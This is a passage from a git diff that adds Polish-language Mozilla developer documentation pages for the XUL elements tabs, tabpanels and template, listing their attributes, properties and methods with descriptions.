+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div>
+<div id="p-selectedPanel">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedPanel">selectedPanel</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Trzyma odniesienie do aktualnie zaznaczonego panelu bez elementu <code>&lt;tabbox&gt;</code>. Przydziela wartość do tej własności, aby zmodyfikować zaznaczony panel. Zaznaczone zdarzenie będzie przesłane, kiedy zaznaczony panel jest zmieniany.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code>.
+</dd><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tabs/index.html b/files/pl/mozilla/tech/xul/tabs/index.html
new file mode 100644
index 0000000000..3bed86f1e9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tabs/index.html
@@ -0,0 +1,211 @@
+---
+title: tabs
+slug: Mozilla/Tech/XUL/tabs
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tabs
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Wiersz karty. Element <code>tabs</code> powinien zostać umieszczony wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code> i powinien zawierać elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-closebutton">closebutton</a>, <a href="#a-disableclose">disableclose</a>, <a href="#a-first-tab">first-tab</a>, <a href="#a-last-tab">last-tab</a>, <a href="#a-onclosetab">onclosetab</a>, <a href="#a-onnewtab">onnewtab</a>, <a href="#a-tabs.onselect">onselect</a>, <a href="#a-setfocus">setfocus</a>, <a href="#a-tooltiptextnew">tooltiptextnew</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-selectedItem">selectedItem</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-advanceSelectedTab">advanceSelectedTab</a>, <a href="#m-appendItem">appendItem</a>, <a href="#m-insertItemAt">insertItemAt</a>, <a href="#m-removeItemAt">removeItemAt</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-closebutton">
+
+<dl><dt> <code id="a-closebutton"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/closebutton">closebutton</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest ustawiony na <code>true</code>, to wiersz <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code> będzie miał przycisk "Nowa karta" i przycisk "Zamknij" na swoim końcu. Ta cecha jest stosowana przez element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>, aby dostarczyć ułatwienie dla dodania lub zamykania kart. Możemy jej ustawić (przypisać) obrazek do 'Nowej karty' i przycisku 'Zamknij' poprzez zaimplementowanie ich do poszczególnych klas <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/tabs-newbutton">tabs-newbutton</a></code> i <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/tabs-closebutton">tabs-closebutton</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disableclose">
+
+<dl><dt> <code id="a-disableclose"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableclose">disableclose</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest ustawiony na <code>true</code>, to przycisk zamknięcia będzie wyłączony.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-first-tab">
+
+<dl><dt> <code id="a-first-tab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/first-tab">first-tab</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut będzie ustawiony na <code>true</code>, dla pierwszej karty. Ten atrybut nie powinien być ustawiany ręcznie, lecz wtedy, gdy jest stosowany w <a href="pl/Motywy">motywie</a>, a jeśli jest pierwszą kartą, to powinna mieć ona inny sposób nadania stylu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-last-tab">
+
+<dl><dt> <code id="a-last-tab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/last-tab">last-tab</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut będzie ustawiony na <code>true</code>, dla ostatniej karty. Ten atrybut nie powinien być ustawiany ręcznie, lecz wtedy, gdy jest stosowany w <a href="pl/Motywy">motywie</a>, a jeśli jest ostatnią kartą, to powinna mieć inny sposób nadania stylu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onclosetab">
+
+<dl>
+ <dt>
+ <code id="a-onclosetab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onclosetab">onclosetab</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten skrypt będzie wywoływany, kiedy przycisk zamknięcia karty jest naciśnięty.</dd>
+</dl>
+</div>
+<div id="a-onnewtab">
+
+<dl>
+ <dt>
+ <code id="a-onnewtab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onnewtab">onnewtab</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten skrypt będzie wywołany, kiedy nowy przycisk zostanie naciśnięty.</dd>
+</dl>
+</div>
+<div id="a-tabs.onselect">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/tabs.onselect">onselect</a></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest przesyłane do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, kiedy ta karta jest zmieniana.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-setfocus">
+
+</div>
+<div id="a-tooltiptextnew">
+
+<dl>
+ <dt>
+ <code id="a-tooltiptextnew"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptextnew">tooltiptextnew</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Stosuje się do ustawienia tekstu, który przydzielony jest do podpowiedzi, kiedy użytkownik przesunie kursor myszki nad nowym przyciskiem w wierszu karty.</dd>
+</dl>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div>
+<div id="p-selectedItem">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Podtrzymuje aktualnie zaznaczoną pozycję. Jeśli nie ma zaznaczonych aktualnie pozycji, to jej wartość równa będzie <code>null</code>. Możemy zaznaczyć pozycję poprzez ustawienie tej wartości. Zmiana zdarzenia będzie przesyłana do zaznaczonej pozycji, kiedy zmieniona zostanie jedna z tych własności, własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub zmieniona będzie przez użytkownika.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl><dt> <span id="m-advanceSelectedTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/advanceSelectedTab">advanceSelectedTab( dir, wrap )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli argument <var>dir</var> jest ustawiony na <code>1</code>, aktualnie zaznaczona karta zmieni się w następnej karcie. Jeśli argument <var>dir</var> jest ustawiony na <code>-1</code>, aktualnie zaznaczona karta zmienia się w kartę poprzednią. Jeśli argument <var>wrap</var> jest <code>true</code>, będzie regulowało przewijaniem w koło, kiedy pierwsza lub ostatnia karta zostanie osiągnięta.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem( label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Tworzy nową pozycję i dodaje ją na koniec istniejącej listy pozycji. Opcjonalnie posiada ustawioną wartość. Funkcja zwraca nowo utworzony element. </dd></dl>
+<dl><dt> <span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItemAt">insertItemAt( index, label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Ta metoda tworzy nowy element listy i umieszcza go w określonej pozycji. Opcjonalnie można ustawić jego wartość. Nowy element jest zwracany.
+</dd></dl>
+<dl><dt> <span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Usuwa pozycję potomną w elemencie o określonym indeksie. Metoda zwraca usuniętą pozycję.
+</dd></dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code>.
+</dd><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlElement">nsIDOMXULSelectControlElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/template/index.html b/files/pl/mozilla/tech/xul/template/index.html
new file mode 100644
index 0000000000..6a84b59a23
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/template/index.html
@@ -0,0 +1,115 @@
+---
+title: template
+slug: Mozilla/Tech/XUL/template
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/template
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Stosowany do deklaracji szablonu dla konstrukcji elementu opartej na regułach. Elementy są konstruowane z danych źródłowych. Aby dowiedzieć się więcej na ten temat, przeczytaj o elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Szablony">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
